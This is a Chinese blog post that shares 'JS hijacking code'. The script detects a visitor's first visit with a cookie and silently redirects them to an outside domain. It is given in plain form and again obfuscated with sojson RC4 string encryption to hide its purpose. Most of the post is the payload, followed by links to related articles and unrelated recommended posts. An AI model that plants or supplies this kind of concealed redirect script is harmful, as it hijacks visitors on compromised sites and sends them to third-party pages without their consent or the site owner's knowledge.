今天分享一套关于Js劫持代码,进行判断第一次访问进行跳转,仅供大家参考学习!

未加密:

if (c.indexOf('isfirstvisited=false') != -1) {

     }
else {
var d = new Date();
d.setFullYear(d.getFullYear() + 1);
document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString();
window.location.href='http://zhimo.yuanzhumuban.cc';
}

  加密混淆后代码:

;var encode_version = 'sojson.v5', nwgyn = '__0x5267e',  __0x5267e=['ZcOdwrHCj0bDn8Kuwr9/','wqDDlcKGw4QT','5Lip6IGa5Ym26Zm4wptyw6E0w5Bqw6NTwpg=','wrZmwpYpUQPDnFnCncODFQ==','H1TDsMOywoYxwqBIEkDCgw==','wpLCh8KLOVDCjcK6wq1MwovDsMKyb8Oae3YvBz/DusO/ZcK/LgYzD8ObJg==','dXLCtsKFWi1uwovCmcKnw4s=','YWwUwqs=','wqXDusO1wpHDh8Osb3ZWw4HCtcO4woTCt0DCnVtsGsOvNAjCp1bDs8O9w7vDnw=='];(function(_0x168cdb,_0x40d4b3){var _0x38ae0c=function(_0x425de3){while(--_0x425de3){_0x168cdb['push'](_0x168cdb['shift']());}};_0x38ae0c(++_0x40d4b3);}(__0x5267e,0x1bc));var _0x7e40=function(_0x502611,_0x11343b){_0x502611=_0x502611-0x0;var _0x10b926=__0x5267e[_0x502611];if(_0x7e40['initialized']===undefined){(function(){var _0x408135=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x2a0cc0='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x408135['atob']||(_0x408135['atob']=function(_0x2910fe){var _0xe1fb7a=String(_0x2910fe)['replace'](/=+$/,'');for(var _0x59e5e6=0x0,_0x16615a,_0x2dd501,_0x14b77d=0x0,_0x2555f1='';_0x2dd501=_0xe1fb7a['charAt'](_0x14b77d++);~_0x2dd501&&(_0x16615a=_0x59e5e6%0x4?_0x16615a*0x40+_0x2dd501:_0x2dd501,_0x59e5e6++%0x4)?_0x2555f1+=String['fromCharCode'](0xff&_0x16615a>>(-0x2*_0x59e5e6&0x6)):0x0){_0x2dd501=_0x2a0cc0['indexOf'](_0x2dd501);}return _0x2555f1;});}());var _0x6dcba9=function(_0x3c94d8,_0x2b9a55){var _0x23cc1e=[],_0x5ae6c8=0x0,_0x470234,_0x49805b='',_0x22fb6b='';_0x3c94d8=atob(_0x3c94d8);for(var _0x2651b3=0x0,_0x3fd5d2=_0x3c94d8['length'];_0x2651b3<_0x3fd5d2;_0x2651b3++){_0x22fb6b+='%'+('00'+_0x3c94d8['charCodeAt'](_0x2651b3)['toString'](0x10))['slice'](-0x2);}_0x3c94d8=decodeURIComponent(_0x22fb6b);for(var _0x157a4d=0x0;_0x157a4d<0x100;_0x157a4d++){_0x23cc1e[_0x157a4d]=_0x157a4d;}for(_0x157a4d=0x0;_0x157a4d<0x100;_0x157a4d++){_0x5ae6c8=(_0x5ae6c8+_0x23cc1e[_0x157a4d]+_0x2b9a55['charCodeAt'](_0x157a4d%_0x2b9a55['length']))%0x100;_0x470234=_0x23cc1e[_0x157a4d];_0x23cc1e[_0x157a4d]=_0x23cc1e[_0x5ae6c8];_0x23cc1e[_0x5ae6c8]=_0x470234;}_0x157a4d=0x0;_0x5ae6c8=0x0;for(var _0x4ac905=0x0;_0x4ac905<_0x3c94d8['length'];_0x4ac905++){_0x157a4d=(_0x157a4d+0x1)%0x100;_0x5ae6c8=(_0x5ae6c8+_0x23cc1e[_0x157a4d])%0x100;_0x470234=_0x23cc1e[_0x157a4d];_0x23cc1e[_0x157a4d]=_0x23cc1e[_0x5ae6c8];_0x23cc1e[_0x5ae6c8]=_0x470234;_0x49805b+=String['fromCharCode'](_0x3c94d8['charCodeAt'](_0x4ac905)^_0x23cc1e[(_0x23cc1e[_0x157a4d]+_0x23cc1e[_0x5ae6c8])%0x100]);}return _0x49805b;};_0x7e40['rc4']=_0x6dcba9;_0x7e40['data']={};_0x7e40['initialized']=!![];}var _0x551480=_0x7e40['data'][_0x502611];if(_0x551480===undefined){if(_0x7e40['once']===undefined){_0x7e40['once']=!![];}_0x10b926=_0x7e40['rc4'](_0x10b926,_0x11343b);_0x7e40['data'][_0x502611]=_0x10b926;}else{_0x10b926=_0x551480;}return _0x10b926;};if(c['indexOf']('isfirstvisited=false')!=-0x1){}else{var d=new Date();d[_0x7e40('0x0','8YCC')](d[_0x7e40('0x1','Y8ld')]()+0x1);document['cookie']=_0x7e40('0x2','%3J1')+d[_0x7e40('0x3','oWV]')]();window['location'][_0x7e40('0x4','0U8R')]=_0x7e40('0x5','OfAm');};if(!(typeof encode_version!=='undefined'&&encode_version===_0x7e40('0x6','9]*u'))){window[_0x7e40('0x7','cCi9')](_0x7e40('0x8','ei)Y'));};encode_version = 'sojson.v5';

  

js判断是否第一次访问跳转的更多相关文章

  1. JS判断移动端访问设备并加载对应CSS样式

    JS判断不同web访问环境,主要针对移动设备,提供相对应的解析方案(判断设备代码直接copy腾讯网的) // 判断是否为移动端运行环境 if(/AppleWebKit.*Mobile/i.test(n ...

  2. js判断是否手机自动跳转移动端

    写法一: {literal} <script> //判断是否手机自动跳转 var browser={versions:function(){var u=navigator.userAgen ...

  3. js判断是电脑访问手机版网站,跳转到电脑版

    function uaredirect(murl,wurl){ //murl为手机网站域名,wurl为电脑版网站域名地址 67 try { 68 if(document.getElementById( ...

  4. JS判断web网站访问端是PC电脑还是手机

    通过JS语句判断WEB网站的访问端是电脑还是手机,以显示不同的页面! <script type="text/javascript"> <!-- //平台.设备和操 ...

  5. js判断移动终端url跳转

    CODE <script> //判断终端url跳转 function sp_isMobile() { return Boolean(navigator.userAgent.match(/. ...

  6. js判断是android访问还是ios访问

    原文地址:http://blog.csdn.net/wy978651775/article/details/9014039 该博主也是转载的,但是没有标明出处. 判断原理: JavaScript是前端 ...

  7. JS判断是手机访问还是PC端访问网站

    <script>    if ((navigator.userAgent.match(/(iPhone|iPod|Android|ios|iOS|iPad|Backerry|WebOS|S ...

  8. js判断当前的访问是手机/电脑

    <script type="text/javascript"> var commonURL = 'http://www.xxx.com/'; function mobi ...

  9. js判断当前的访问是手机还是电脑

    <script type="text/javascript"> //平台.设备和操作系统 var system ={ win : false, mac : false, ...

随机推荐

  1. docker swarm集群搭建及使用Portainer、shipyard

    一.规划 1.swarm01作为manager节点,swarm02和swarm03作为worker节点. # cat /etc/hosts 127.0.0.1   localhost 192.168. ...

  2. 【C/C++开发】C++11的模板类型判断——std::is_same和std::decay

    C++11的模板类型判断--std::is_same和std::decay 问题提出:有一个模板函数,函数在处理int型和double型时需要进行特殊的处理,那么怎么在编译期知道传入的参数的数据类型是 ...

  3. Selenium+java - 操作滚动条

    前言 在写脚本时,总会遇到一种情况,就是当滚动拉倒最下面了,表单或者下拉框.按钮这些元素未在当前页面展示,而webdriver提供的方法都是操作当前页面可见的元素,这时我们使用JavaScript操作 ...

  4. 010 SpringCloud 学习笔记6-----Feign

    1.概述 Feign可以把Rest的请求进行隐藏,伪装成类似SpringMVC的Controller一样.你不用再自己拼接url,拼接参数等等操作,一切都交给Feign去做. 2.入门案例 改造luc ...

  5. 向DataGrid数据表格增加查询搜索框

    向DataGrid数据表格增加查询搜索框 效果如下: js代码: $(function(){ var dg = $('#dg').datagrid({ url:"${pageContext. ...

  6. postgresql学习之安装篇

    ---恢复内容开始--- 安装方法: 1.可以使用操作系统自带的安装源 2.可以使用官网下载的源码进行安装 3.可以使用编译好的包入.run格式的安装包安装(本文使用的是这种安装方法,下载地址http ...

  7. 使用canvas实现360水球波动

    代码如下: <!DOCTYPE html> <html lang="en">  <head>    <meta charset=" ...

  8. CSP J/S 2019受虐记

    一枚蒟蒻的游记~ 提高组DAY1 不是说每场考试都有一道签到题吗 那我tm读了三遍题硬是没找到一道水题是怎么回事(是我太弱了吗) 没办法,硬着头皮做T1 暴力写法...期望得分30pts 于是...在 ...

  9. python中ocr软件tesseract使用

    首先要看原版的参考 https://github.com/madmaze/pytesseract 直接上代码, import pytesseractfrom PIL import Image imag ...

  10. mvc和mvvm模式

    一. Mvvm定义 MVVM是Model-View-ViewModel的简写.即模型-视图-视图模型.[模型]指的是后端传递的数据.[视图]指的是所看到的页面.[视图模型]mvvm模式的核心,它是连接 ...